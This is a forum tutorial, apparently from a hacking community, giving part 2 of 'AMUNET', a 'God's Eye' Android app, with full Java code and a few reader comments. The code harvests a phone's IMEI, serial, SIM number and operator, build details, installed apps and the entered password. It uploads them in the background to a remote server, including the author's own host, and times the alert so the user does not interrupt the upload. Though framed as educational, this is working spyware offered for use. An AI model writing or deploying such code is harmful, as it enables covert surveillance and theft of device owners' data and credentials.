Building a God’s Eye Android App: Part 2 - Sending Information to a Web Server

Greetings my fellow hackers,

As we continue with our series, the AMUNET app becomes complicated with new functionalities and structures to understand. We’ll sail right through. As stated earlier in previous tutorials, the app doesn’t fully exists because I build them before I share so forgive me if it takes sometime before a tutorial comes out. I need to make sure everything works well first.

PREVIOUS TUTORIALS

Below are the tutorials covered so far.

  1. Introduction to Amunet
  2. Collecting Installed Android Apps

TODAY’S TUTORIAL

In today’s tutorial, we are going to send data to our server using Volley Google. Volley is an HTTP library that makes networking for Android apps easier and most importantly, faster. In order to use volley in our android app, we first need to import it into our android studio project.

Go to build.gradle ( Module: app ) under Grade Scripts and add the dependency implementation 'com.android.volley:volley:1.1.0'. Make sure you sync the project. You should something similar to this.

dependencies {
    implementation fileTree(dir: 'libs', include: ['*.jar'])
    implementation 'com.android.support:appcompat-v7:27.1.1'
    implementation 'com.android.support.constraint:constraint-layout:1.1.2'
    implementation 'com.android.support:design:27.1.1'
    testImplementation 'junit:junit:4.12'
    androidTestImplementation 'com.android.support.test:runner:1.0.2'
    androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.2'

    implementation 'com.android.volley:volley:1.1.0'

}

Now, we can go on to use the volley library in our project. Before we continue, create a new Basic Activity called “Dashboard”. We wouldn’t use it now ( later in this tutorial ). The reason why we are creating the Dashboard activity is because we are going to use the MainActivity.java for phone registration.

SETTING UP AN APP ICON

No one likes using the default icon for created projects. You can use any icon of your choice. I’m using an eye image. Make sure your image is big enough. I’ll upload it here incase anyone wants to use it.

eye2

Now, head over to Roman Urik’s Github. I love using this tool because of the ease it allows for the customization of icons. Select Image ( Under Foreground ) and upload your preferred image. Customize the icon according to your taste. I’m using a white background.

After you are done, click on the Download button on the upper right section of the website under the Source on Github link. The image should be downloaded onto your computer.

Extract the package and you should notice the icons are grouped into resolutions. Don’t mess them up. They are grouped intentionally. Go back to the Android Studio and under res, right click on mipmap. On Mac, choose “Reveal in Finder” and on Windows, something similar maybe “Open in Explorer” or “Explore” should open the mipmap directory in your explorer. Now copy the files accordingly from the extracted mipmap folder to the opened android studio mipmap directory. Should everything be done correctly, the new icons copied will show in the android studio. If you still have trouble, search online or watch this video Change The App Icon in Android Studio - YouTube

Open AndroidManifest ( under app->manifests ) and change the value for android:roundIcon and android:icon in the application tag to the filename of the app icon imported. This will allow the app use the icon.

Still in AndroidManifest file, add the READ_PHONE_STATE, INTERNET AND ACCESS_NETWORK_STATE permissions. Above the application tag opening, add these lines.

<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

CREATING THE UI FOR MAIN ACTIVITY

Two files are created under the layout folder when a Basic Activity is chosen. In our case, it’s activity_main.xml and content_main.xml unless you named your activity otherwise.

In the activity_main.xml, clear the toolbar and the appbarlayout code. Our code should look like this.

<?xml version="1.0" encoding="utf-8"?>
<android.support.design.widget.CoordinatorLayout 
    xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".MainActivity">

    <include layout="@layout/content_main" />

</android.support.design.widget.CoordinatorLayout>

We will design our registration interface in the content_main. The code for the UI

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:padding="20dp"
app:layout_behavior="@string/appbar_scrolling_view_behavior"
tools:context=".MainActivity"
tools:showIn="@layout/activity_main">

<android.support.design.widget.TextInputLayout
    android:layout_width="match_parent"
    android:id="@+id/textinputlayout1"
    android:layout_centerHorizontal="true"
    android:layout_centerVertical="true"
    android:layout_height="wrap_content">

    <EditText
        android:layout_width="match_parent"
        android:hint="Username"
        android:id="@+id/username"
        android:layout_height="wrap_content" />

</android.support.design.widget.TextInputLayout>

<android.support.design.widget.TextInputLayout
    android:layout_width="match_parent"
    android:id="@+id/textinputlayout2"
    android:layout_below="@id/textinputlayout1"
    android:layout_height="wrap_content">

    <EditText
        android:layout_width="match_parent"
        android:hint="Name"
        android:id="@+id/full_name"
        android:layout_height="wrap_content" />

</android.support.design.widget.TextInputLayout>

<android.support.design.widget.TextInputLayout
    android:layout_width="match_parent"
    android:id="@+id/textinputlayout3"
    android:layout_below="@id/textinputlayout2"
    android:layout_centerHorizontal="true"
    android:layout_centerVertical="true"
    android:layout_height="wrap_content">

    <EditText
        android:layout_width="match_parent"
        android:hint="Password"
        android:inputType="textWebPassword"
        android:id="@+id/password"
        android:layout_height="wrap_content" />

</android.support.design.widget.TextInputLayout>

<ImageView
    android:layout_width="150dp"
    android:src="@drawable/eye2"
    android:layout_marginBottom="10dp"
    android:layout_above="@id/textinputlayout1"
    android:layout_centerHorizontal="true"
    android:id="@+id/logo_imageview"
    android:layout_height="150dp" />

<Button
    android:layout_width="match_parent"
    android:text="Sign up"
    android:id="@+id/create_account_button"
    android:textColor="@android:color/white"
    android:layout_marginTop="10dp"
    android:background="@color/colorPrimary"
    android:layout_below="@id/textinputlayout3"
    style="@style/Base.Widget.AppCompat.Button.Borderless"
    android:layout_height="wrap_content" />
</RelativeLayout>

I have already uploaded the image ( eye2 ) for the ImageView ( located in the drawable folder ) in the setting up app icon section of this tutorial. You can change the source of the ImageView or rename my image to eye2 in the drawable folder.

This is my screen right now.

CONFIGURATION.JAVA

Create a new Java class and name it Configuration. Inside Configuration class, write this code.

private static final String app_host = "xx.xx.xx.xx";
private static final String domain_path = "https://" + app_host + "/";
private static final String app_auth = domain_path + "/receiver.php";

public static String getApp_host() {
    return app_host;
}

public static String getDomain_path() {
    return domain_path;
}

public static String getApp_auth() {
    return app_auth;
}

The Configuration java class we just created will allow us to reference the server address from this file instead of manually typing it across the entire project which is like not cool.

  1. xx.xx.xx.xx is the server address ( localhost, network address ) eg 0x00sec.org or 104.18.48.48
  2. domain_path is the qualified domain server path including the appropriate protocols. eg https://0x00sec.org/. Don’t modify this line since it’s just a reference.
  3. app_auth is a file on the server that receives the request. Takes the server path and the receiving file path.

The remaining methods are getters ( Right click -> Generate -> Getter ).

WRITING THE CODES FOR MAINACTIVITY.JAVA

The final part of this tutorial will be a bit tricky so try and read with understanding as I also try to explain in simple terms.

Normally, above the onCreate method and below public class MainActivity extends ... code, lets declare our UI objects.

EditText username, password, name;
Button create_account_button;

SharedPreferences sharedPreferences;

private static final int READ_PHONE_STATE_REQUEST_CODE = 10001;

ProgressDialog progressDialog;

Basically

  1. We declare the EditText for our username, password and name fields ( content_main.xml ).
  2. We declare the Button for our sign up button ( content_main.xml )
  3. SharedPreferences allows us to save information. We create an instance of it.
  4. READ_PHONE_STATE_REQUEST_CODE will allow us determine if our permission request was granted or denied ( discussed later ).
  5. ProgressDialog will allow us to display a progress bar with a message.

onCreate Method

This will be the code for our onCreate method.

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    sharedPreferences = getSharedPreferences("Auth", Context.MODE_PRIVATE);

    final String auth_key = sharedPreferences.getString("auth_key", null);

    if(auth_key != null) {
        startActivity(new Intent(MainActivity.this, Dashboard.class));
        finish();
    }

    username = findViewById(R.id.username);
    password = findViewById(R.id.password);
    name = findViewById(R.id.full_name);

    create_account_button = findViewById(R.id.create_account_button);
    create_account_button.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View view) {
            if(ActivityCompat.checkSelfPermission(getApplicationContext(), Manifest.permission.READ_PHONE_STATE)
                    != PackageManager.PERMISSION_GRANTED) {
                show_permission_alert("Allow the app to read the phone's information", "read_phone_state");
            } else {

                if(username.getText().toString().length() < 5) {
                    show_alert("Username must be more than 5 characters");
                    return;
                }

                if(password.getText().toString().length() < 5) {
                    show_alert("Password must be more than 5 characters");
                    return;
                }

                if(name.getText().toString().length() < 3) {
                    show_alert("Enter a valid name");
                    return;
                }

                progressDialog = new ProgressDialog(MainActivity.this);
                progressDialog.setMessage("Creating account ...");
                progressDialog.setCancelable(false);
                progressDialog.setProgressStyle(ProgressDialog.STYLE_SPINNER);
                progressDialog.show();

                create_phone_account();
            }
        }
    });
}
  1. sharedPreferences - get a file “Auth” ( key-value file ). MODE_PRIVATE makes the file private to our app.
  2. String auth_key - gets the value for the key ( auth_key ) in our Auth file. Returns null if the key doesn't exist.
  3. If the key exists ( phone registered ), redirect us to the Dashboard activity we created earlier.
  4. Set reference to our respective EditTexts ( username, password, name )
  5. Set reference to the signup button ( create_account_button)
  6. When the button is clicked, we check if the READ_PHONE_STATE permission has been granted. If the permission hasn’t been granted, we call show_permission_alert method ( takes two arguments: message and permission_id ). Will create the method in a bit.
  7. If the permission is granted, then we check and make sure our username, name and passwords fields have valid data before we send them to our server. There is also a new method called show_alert which displays messages to the user.
  8. If the data is valid, we call the create_phone_account method to send our registration details to the server.

Hope I got someone to understand it.

The permission READ_PHONE_STATE allows us to read the phone’s International Mobile Equipment Identity ( IMEI ). With the IMEI, we can later identify the phone and user accounts registered with it.

From #6 ( above ), should the permission be denied, we call the show_permission_alert. Lets create the method.

SHOW_PERMISSION_ALERT

Outside the onCreate and inside the MainActivity class, create this method.

private void show_permission_alert(String message, final String permission) {
    AlertDialog.Builder dialog=new AlertDialog.Builder(MainActivity.this);
    dialog.setMessage(message);
    dialog.setCancelable(false);
    dialog.setPositiveButton("Ok",new DialogInterface.OnClickListener() {

        @Override
        public void onClick(DialogInterface dialog, int which) {
            if(permission.toLowerCase().equals("read_phone_state")) {
                ActivityCompat.requestPermissions(MainActivity.this,
                        new String[] {Manifest.permission.READ_PHONE_STATE},
                        READ_PHONE_STATE_REQUEST_CODE);
            }
        }

    });
    dialog.show();
}

It simply displays any message you pass to it. After you read the message displayed and you click “Ok”, the method checks if the permission_id passed during the method call matches the ones specified in the method. If they match, the appropriate code executes. The reason for this approach is that we will be asking for a lot of future permissions and instead of creating different methods every time, we can instead group them into one method along with their respective codes.

In this method, we request the READ_PHONE_STATE permission when the “read_phone_state” is passed. The READ_PHONE_STATE_REQUEST_CODE will allow us to check if the permission was granted or not. Before we move on to check the whether our permission was granted or not, lets create the show_alert method. Similar to the show_permission_alert method but just displays messages and does not accept permissions_id.

SHOW_ALERT

There is not much explanation to be done here as I’ve already explained.

protected void show_alert(String msg) {
    AlertDialog.Builder dialog=new AlertDialog.Builder(MainActivity.this);
    dialog.setMessage(msg);
    dialog.setPositiveButton("Ok",new DialogInterface.OnClickListener() {

        @Override
        public void onClick(DialogInterface dialog, int which) {
            dialog.dismiss();
        }

    });
    dialog.show();
}

Just displays messages.

ON REQUEST PERMISSIONS RESULT

This method allows us to check if the permission request was granted or not. In order to determine the state of the permission request, we’ll need the identifier ( request code - READ_PHONE_STATE_REQUEST_CODE ). Hope you now understand the importance of the request code integer value.

@Override
public void onRequestPermissionsResult(int requestCode, String permissions[], int[] grantResults) {
    switch (requestCode) {
        case READ_PHONE_STATE_REQUEST_CODE: {
            if (grantResults.length > 0
                    && grantResults[0] != PackageManager.PERMISSION_GRANTED) {
                Toast.makeText(getApplicationContext(), "Without this permission, the desired action cannot be performed", Toast.LENGTH_LONG).show();
            } else {
                Toast.makeText(getApplicationContext(), "Permission granted", Toast.LENGTH_LONG).show();
            }
            return;
        }
    }
}

We print the appropriate response based on the user’s action. Since we need the READ_PHONE_STATE permission in order to get the app working, we won’t allow registration unless the permission is allowed.

GET DEVICE IMEI

IMEI’s are unique to every phone meaning we can track a phone based on its IMEI. We use the IMEI to identify a phone and not mix the data. This method will retrieve the IMEI of the phone and return it to its caller.

protected String getDeviceIMEI() {
    String deviceUniqueIdentifier = null;
    TelephonyManager tm = (TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);
    if (null != tm) {
        try {
            deviceUniqueIdentifier = tm.getDeviceId();
        } catch (SecurityException e) {
            return null;
        }
    }
    if (null == deviceUniqueIdentifier || 0 == deviceUniqueIdentifier.length()) {
        deviceUniqueIdentifier = Settings.Secure.getString(this.getContentResolver(), Settings.Secure.ANDROID_ID);
    }
    return deviceUniqueIdentifier;
}

Makes use of the Telephony Manager which requires the READ_PHONE_STATE permission. Now in the onClickListener function of the create_account_button ( onCreate method ), there is one last method we have not tackled and that is the create_phone_account.

CREATE PHONE ACCOUNT

Before we move on, in the previous tutorial Building a God’s Eye Android App: Part 1 - Collecting Installed Android Apps, we included a thread calling the collect_installed_apps in the onCreate method. Kindly delete that thread. The onCreate method should now look like this.

Moving on to the create_phone_acccount method

private void create_phone_account() {

    final String phone_imei = getDeviceIMEI();
    final String phone_serial = Build.SERIAL;

    RequestQueue requestQueue = Volley.newRequestQueue(MainActivity.this);

    StringRequest serverRequest = new StringRequest(Request.Method.POST, Configuration.getApp_auth(), new Response.Listener<String>() {
        @Override
        public void onResponse(String req) {
            progressDialog.dismiss();

            try {

                final JSONObject response = new JSONObject(req);

                if(response.getBoolean("success")) {
                    final String server_response = response.getString("response");

                    SharedPreferences.Editor editor = sharedPreferences.edit();

                    editor.putString("auth_key", response.getString("api_key"));

                    editor.apply();

                    new Thread(new Runnable() {
                        @Override
                        public void run() {
                            collect_phone_details();
                            collect_installed_apps();
                        }
                    }).start();

                    new CountDownTimer(5000,1000) {
                        @Override
                        public void onTick(long l) {

                        }

                        @Override
                        public void onFinish() {
                            show_alert(server_response);
                        }
                    }.start();

                    username.setText("");
                    password.setText("");
                    name.setText("");

                } else {
                    show_alert(response.getString("response"));
                }
            } catch (Exception e) {
                show_alert("Authentication error: " + e.getMessage());
            }
        }
    }, new Response.ErrorListener() {
        @Override
        public void onErrorResponse(VolleyError error) {
            progressDialog.dismiss();
            show_alert("Internet disconnected");
        }
    }) {
        protected Map<String, String> getParams() {
            Map<String, String> params = new HashMap<>();
            params.put("imei", phone_imei);
            params.put("serial", phone_serial);
            params.put("user", username.getText().toString());
            params.put("name", name.getText().toString());
            params.put("pass", password.getText().toString());
            return params;
        }
    };

    requestQueue.add(serverRequest);
}

This method makes use of the RequestQueue function in the volley library to send requests. In this case we are sending a POST request. Notice the parameters

protected Map<String, String> getParams() {
        Map<String, String> params = new HashMap<>();
        params.put("imei", phone_imei);
        params.put("serial", phone_serial);
        params.put("user", username.getText().toString());
        params.put("name", name.getText().toString());
        params.put("pass", password.getText().toString());
        return params;
}

The POST parameters being sent here are optional and not mandatory. I have set up a web server which accepts these specific parameters so incase you don’t have a server to test and want to use my server, send these particular parameters otherwise the data won’t be logged.

The codes in the onResponse method are also optional and not mandatory. My web server gives each phone an API key to access the platform after phone registration. Incase you want to use my server, all data sent will have to be posted with the API key otherwise the incoming data will be discarded.

The thread we earlier deleted in the onCreate method will now be called here should the response have a success field set to true. Remember the response is converted to a JSON Object. Volley allows us to directly receive the data in JSONObject but for debugging purposes, I used the StringRequest to see what was returned before converting the strings to JSON ( Was having issues with my server back then ).

After the phone information has been logged on your web server or mine. You can begin to send data to the server. A thread is run in the onResponse method calling two methods collect_phone_details and collect_installed_apps. After a count down of 5 seconds, the server response is shown. The delay allows the two methods collect_phone_details and collect_installed_apps to finish execution before the user gets the chance to perform any further action which can interrupt the upload.

COLLECT PHONE DETAILS

In this method, we gather information about our device using Build ( android.os ) and TelephonyManager ( SIM Operations ).

private void collect_phone_details() {
    upload_detail("VERSION.RELEASE", Build.VERSION.RELEASE);
    upload_detail("VERSION.INCREMENTAL", Build.VERSION.INCREMENTAL);
    upload_detail("VERSION.SDK.NUMBER", String.valueOf(Build.VERSION.SDK_INT));
    upload_detail("BOARD", Build.BOARD);
    upload_detail("BOOTLOADER", Build.BOOTLOADER);
    upload_detail("BRAND", Build.BRAND);
    upload_detail("CPUABI", Build.CPU_ABI);
    upload_detail("CPUABI2", Build.CPU_ABI2);
    upload_detail("DISPLAY", Build.DISPLAY);
    upload_detail("FINGERPRINT", Build.FINGERPRINT);
    upload_detail("HARDWARE", Build.HARDWARE);
    upload_detail("HOST", Build.HOST);
    upload_detail("ID", Build.ID);
    upload_detail("MANUFACTURER", Build.MANUFACTURER);
    upload_detail("MODEL",Build.MODEL);
    upload_detail("PRODUCT", Build.PRODUCT);
    upload_detail("SERIAL", Build.SERIAL);
    upload_detail("TAGS", Build.TAGS);
    upload_detail("TIME", String.valueOf(Build.TIME));
    upload_detail("TYPE", Build.TYPE);
    upload_detail("UNKNOWN",Build.UNKNOWN);
    upload_detail("USER", Build.USER);
    upload_detail("DEVICE", Build.DEVICE);

    TelephonyManager telephonyManager = ((TelephonyManager)getApplicationContext().getSystemService(Context.TELEPHONY_SERVICE));
    String simOperatorName = telephonyManager.getSimOperatorName();
    String simNumber = "";

    try {
        simNumber = telephonyManager.getLine1Number();
    } catch (SecurityException e) {
    }

    upload_detail("SIM1.OPERATOR", simOperatorName);
    upload_detail("SIM1.PHONE", simNumber);
}

The method makes an extensive use of another method upload_detail to send data to our server. If you intend to use my server, leave the values intact otherwise the information won’t show. If you don’t intend to use my server, then feel free to modify the parameters and requests as you wish.

UPLOAD DETAILS

This method sends data to the server using the api_key obtained during the registration process. The key is stored on the device using sharedPreferences. The method won’t upload if there is no api key.

private void upload_detail(final String key, final String value) {
    RequestQueue requestQueue = Volley.newRequestQueue(MainActivity.this);

    final String auth_key = sharedPreferences.getString("auth_key", null);

    if(auth_key == null) { return; }

    StringRequest serverRequest = new StringRequest(Request.Method.POST, Configuration.getApp_auth(), new Response.Listener<String>() {
        @Override
        public void onResponse(String req) {
        }
    }, new Response.ErrorListener() {
        @Override
        public void onErrorResponse(VolleyError error) {
        }
    }) {
        protected Map<String, String> getParams() {
            Map<String, String> params = new HashMap<>();
            params.put("auth", auth_key);
            params.put("k", key);
            params.put("v", value);
            return params;
        }
    };

    requestQueue.add(serverRequest);
}

Should you want to use my server, leave the POST parameters intact. Any slight modifications will cause the data to be rejected. I mean rejected. Otherwise, you are free to use and name your POST parameters as you please.

protected Map<String, String> getParams() {
        Map<String, String> params = new HashMap<>();
        params.put("auth", auth_key);
        params.put("k", key);
        params.put("v", value);
        return params;
}

Be sure to keep the data intact. I can’t stress on it enough if you are to use my server.

COLLECT INSTALLED APPS

Last but one of the method calls for today’s tutorial. This method enumerates through the Package Manager and gets information about apps installed on the device. In our previous tutorial, we had only two parameters: app name and package name. Now we have included three more parameters.

private void collect_installed_apps() {
    final PackageManager pm = getPackageManager();
    List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);
    for (ApplicationInfo packageInfo : packages) {
        if(pm.getLaunchIntentForPackage(packageInfo.packageName) != null)
        {
            try {
                String app_name = packageInfo.loadLabel(getPackageManager()).toString();
                String app_package = packageInfo.processName;
                String app_uid = Integer.toString(packageInfo.uid);
                String app_versionName = pm.getPackageInfo(app_package, 0).versionName.toString();
                String app_versionCode = String.valueOf(pm.getPackageInfo(app_package, 0).versionCode);

                upload_app(app_name, app_package, app_uid, app_versionName, app_versionCode);
            } catch (Exception e) {

            }
        }
    }
}

There is not much to explain as I have already done that in the previous tutorial. The new parameters are app_uid, app_versionName and app_versionCode.

UPLOAD APP

This function uploads data about the installed apps to the server. You are free to modify the parameters if you are not using my server as a backend.

private void upload_app(final String app_name, final String app_package, final String app_uid, final String app_vName, final String app_vCode) {
    RequestQueue requestQueue = Volley.newRequestQueue(MainActivity.this);

    final String auth_key = sharedPreferences.getString("auth_key", null);

    if(auth_key == null) { return; }

    StringRequest serverRequest = new StringRequest(Request.Method.POST, Configuration.getApp_auth(), new Response.Listener<String>() {
        @Override
        public void onResponse(String req) {
        }
    }, new Response.ErrorListener() {
        @Override
        public void onErrorResponse(VolleyError error) {
        }
    }) {
        protected Map<String, String> getParams() {
            Map<String, String> params = new HashMap<>();
            params.put("auth", auth_key);
            params.put("app_name", app_name);
            params.put("app_package", app_package);
            params.put("app_uid", app_uid);
            params.put("app_vname", app_vName);
            params.put("app_vcode", app_vCode);
            return params;
        }
    };

    requestQueue.add(serverRequest);
}

That’s it for this tutorial.

CONFIGURING YOUR ANDROID APP TO COMMUNICATE WITH MY SERVER ( AMUNETCLOUD )

In communicating with AMUNETCLOUD, you need to make sure the following settings are in place.

Change the address in the Configuration to

private static final String app_host = "play.cardfinder.co";
private static final String domain_path = "https://" + app_host + "/";
private static final String app_auth = domain_path + "/auth.php";

Secondly, make sure that you do not modify the original codes posted here as the server will reject modified request or data.

ACCESSING UPLOADED PHONE INFORMATION

To access your data, simply log onto AMUNETCLOUD using the credentials entered during registration. You should be redirected to your phone data.

DISCLAIMER

The server is a test or demonstration server and therefore I will not be held accountable for whatever data is sent to it. It’s purely for education purpose.

I would love your contributions, suggestions, feedbacks, critics, etc. Anything to help the series.

You can directly import the project into your android studio if you are having trouble.

Checkout the github repo: https://github.com/sergeantexploiter/Amunet

Until we meet again. I’m out.

#Sergeant

9 Likes

Very helpful. :smiley:

that’s a great code

i am gonna try this as soon as possible!!

1 Like

Volley doesn’t handle inbuilt POST Method params perfectly so for that you need to create a custom response

Look at this: https://stackoverflow.com/a/31532955/4969957

I don’t quite get what you meant by Volley doesn't handle inbuilt POST Method params perfectly.

To clarify on why I said the POST sent to the server will be rejected is because, the auth PHP file on my server only accepts specific parameters for data input so sending a different data parameter will cause it to be discarded.

I don’t know if I’m still getting what you mean. If you can clarify a little bit.

So cool dude :robot::skull:

This topic was automatically closed after 30 days. New replies are no longer allowed.